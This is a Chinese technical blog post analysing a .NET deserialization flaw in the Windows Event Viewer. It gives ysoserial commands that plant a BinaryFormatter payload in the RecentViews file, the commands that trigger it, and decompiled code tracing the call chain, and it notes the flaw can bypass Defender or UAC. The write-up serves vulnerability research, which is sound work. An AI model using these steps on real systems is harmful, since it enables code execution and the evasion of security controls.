干货 | 最新Windows事件查看器.NET反序列化漏洞分析
0x01 漏洞背景
4月26日@Orange Tsai 在Twitter上发表一个有关Windows事件查看器的反序列化漏洞,可以用来绕过Windows Defender或者ByPass UAC等其它攻击场景,Orange视频里也给出了攻击载荷 DataSet
“
ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews
”
0x02 漏洞复现
@Orange Tsai 给出的ysoserial DataSet载荷因为笔者复现未成功,所以替换用TypeConfuseDelegate作为攻击载荷,%LOCALAPPDATA% 等同于 C:\Users\用户名\AppData\Local 目录,Eventv~1 代表目录名前6个字符 Eventv开头的第1个目录,其实可指定为本地的 Event Viewer文件夹,文件名一定得是固定的RecentViews,至于为什么可以看后续的原理分析,ysoserial 生成攻击载荷命令如下,有个小小的建议:可以先打开一次事件查看器,便于操作系统创建EventViewer目录,否则执行ysoserial命令会抛出 "系统找不到路径"错误
ysoserial.exe -o raw -f BinaryFormatter -g TypeConfuseDelegate -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews
打开Windows事件查看器或者输入如下所示的命令行均可触发漏洞
cmd/c eventvwr.msc
cmd/c eventvwr.exe
0x03 调用链分析
打开事件查看器Windows系统会启动mmc.exe去关联eventvwr.msc,进中mmc.exe右击 ”属性“ -> .NET程序集 如下图所示
反编译EventViewer.dll,笔者从EventViewer事件查看器核心代码入手,至于它继承的父类FormView及基类View不再跟进,EventViewerHomePage类是主入口,实现基类View里的虚方法OnInitialize,
接着对EventHomeControl类做了初始化, UpdateUIDelegate(this.UpdateUI) 表示 EventHomeControl 读取数据并加载数据到可视化UI界面
public EventHomeControl()
{this.InitializeComponent();UIControlProcessing.SetControlSystemFont(this);UIControlProcessing.SetControlTitleFont(this.eventViewerLabel, this.Font);this.updateUI = new EventHomeControl.UpdateUIDelegate(this.UpdateUI);this.enableControl = new EventHomeControl.EnableControlDelegate(this.EnableControl);
}
this.UpdateUI方法对可视化操作选项做了多重判断,有更新事件列表、有更新日志摘要、有更新事件列表当前对应的进程信息、还有我们重点关注的case 1 更新最近访问浏览的信息,进入UpdateRecentViewsUI 条件分支
UpdateRecentViewsUI方法调用了UpdateRecentViewsListViewUI,并且将属性 RecentViewsDataArrayList的值传递给此方法,如下图
RecentViewsDataArrayList属于EventsNode类的成员,数据来源自LoadDataForRecentView执行后的结果,这里是将EventsNode.recentViewsDataArrayList的值赋给了RecentViewsDataArrayList属性,代码如下
internal ArrayList RecentViewsDataArrayList
{get{this.LoadDataForRecentViews();return EventsNode.recentViewsDataArrayList;}
}
LoadDataForRecentView方法再调用LoadMostRecentViewsDataFromFile,
读取 EventsNode.recentViewsFile 流后用 Deserialize(fileStream) 去反序列化,再将集合赋给 recentViewsDataArrayList,这样正常情况RecentViewsDataArrayList就获取到了最近浏览的数据。代码如下
private void LoadMostRecentViewsDataFromFile()
{try{if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile)){FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;lock (syncRoot){EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);}fileStream.Close();}
}catch (FileNotFoundException){}
}
再来细看下EventsNode.recentViewsFile,整个定义在EventsNode类构造方法里分了3步,笔者个人觉得判断逻辑有些罗里吧嗦的
第1步
Environment.SpecialFolder.CommonApplicationData 在Windows系统里表示 "C:\Users\用户名\AppData\Roaming",StandardStringValues类自定义多个静态变量,如MicrosoftFolderName代表"Microsoft", LIN_EventViewer 代表 " Event Viewer ";
第2步
用 CommonApplicationData 替代 LocalApplicationData,LocalApplicationData代表 " C:\Users\用户名\AppData\Local ";
第3步
将前两步和“RecentViews”串起来,最终得到 recentViewsFile = ”C:\Users\用户名\AppData\Local\Microsoft\Event Viewer\RecentViews“,所以笔者在上小节复现的时候提到RecentViews文件名是固定的不能改。
如上图 ysoserial 生成攻击载荷写入到 \Microsoft\Event Viewer\RecentViews,打开事件查看器即可触发漏洞。
0x04 结语
漏洞的主体调用链如下
-> View -> FormView -> EventViewerHomePage -> EventHomeControl -> UpdateUIDelegate(委托)
-> UpdateUI -> UpdateRecentViewsUI -> UpdateRecentViewsListViewUI -> RecentViewsDataArrayList
-> LoadDataForRecentView -> LoadMostRecentViewsDataFromFile -> BinaryFormatter().Deserialize
文章还可以在我的博客上在线阅读https://www.cnblogs.com/Ivan1ee,
技术群:添加小编微信并备注进群
小编微信:mm1552923
公众号:dotNet编程大全
干货 | 最新Windows事件查看器.NET反序列化漏洞分析相关推荐
- Windows 事件查看器(收集)
事件查看器相当于一本厚厚的系统日志,可以查看关于硬件.软件和系统问题的信息,也可以监视 Windows 的安全事件 提示:除了可以在"控制面板→管理工具"中找到"事件查看 ...
- Windows事件查看器_ID一览表
事件查看器从简单的查看电脑登录信息到检查系统是否出现错误,是否被入侵都有着很重要的作用,Microsoft为了简便,采用事件ID来代表一些信息,下面是我从Microsoft找来的WIN2003的对应关 ...
- 如何在 Windows XP 的事件查看器中查看和管理事件日志
事件查看器 在 Windows XP 中,事件是在系统或程序中发生的.要求通知用户的任何重要事情,或者是添加到日志中的项.事件日志服务在事件查看器中记录应用程序.安全和系统事件.通过 使用事件查看器中 ...
- 使用windows的事件查看器(eventvwr),查看、电脑执行过的你不知道的操作・开机・关机时间
■前言 今天单位电脑开机之后,Chrome浏览器突然消失了. 通过事件查看器发现,开机系统启动了一个power的程序, (在[事件查看器] ⇒[应用程序和服务日志] ⇒ [windows powers ...
- 服务器事件查看器根据登录id如何查找信息,Windows中如何查看日志(如查看远程登陆的IP地址)以及常用日志ID...
概述 在Windows中可以使用 事件查看器 来查看相关日志,并结合日志ID进行日志筛选.常见的日志有: 4634 - 帐户被注销 4647 - 用户发起注销 4624 - 帐户已成功登录(可以查看 ...
- 使用事件查看器进行windows补丁安装状态确认
windows补丁安装完成之后无论成功与否都会有补丁的安装记录,如何确认是否安装成功呢?这里给大家分享其中一种利用事件查看器,查看补丁是否安装成功的办法. 1.win+r调出运行,输入eventvwr ...
- Windows Server 2019或2016 无法运行服务器管理器、控制面板部分功能、事件查看器等解决办法
问题: 将 Windows Server 2019或2016 .NET Framework移除. IIS卸载后,服务器管理器.控制面板部分功能.事件查看器等都无法正常开启. 解决: 打开CMD,输入D ...
- 使用批处理for命令清除事件查看器所有Windows EventLog日志
修改自http://www.codeweblog.com/使用批处理清除事件查看器所有windows-eventlog日志的代码/ @ECHO OFF TITLE 清除所有事件查看器里看到的Event ...
- 巧用事件查看器维护服务器安全
巧用事件查看器维护服务器安全<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" ...
最新文章
- android fragment activity 交互,Android基础之Fragment与Activity交互详解
- B - Networking - poj 1287
- HTML基础_Day03
- ORA-04028: cannot generate diana for object xxx
- 算法(22)-leetcode-剑指offer6
- python文件编码转换工具_python实现unicode转中文及转换默认编码的方法
- Visual C++中回调函数使用的变身大法
- poj 2479 (DP)
- sdi线缆标准_影片创作与未来标准监看——监视器DP-V2421使用手记
- Shiro原理以及运行流程
- hah4h4h4h4 im her3
- 通过百度BAE搭建微信二次开发的服务(2)
- 电话号码的字母组合---2022/01/23
- 拉姆达999城市电话114 V3.3.1
- [AS日记]MacOS的Android Studio卡在Building Gradle Project info走不动 的处理方法
- 微信公众号留言功能实现方法分享
- 雷军在联想内部分享,把小米讲透了!
- 7 个支持敏捷的开源项目管理工具,更好地管理项目
- 浏览器标签页形式运行【js代码】,小书签
- 2008春晚,赵本山之《火炬手》(现场版最新完整台词)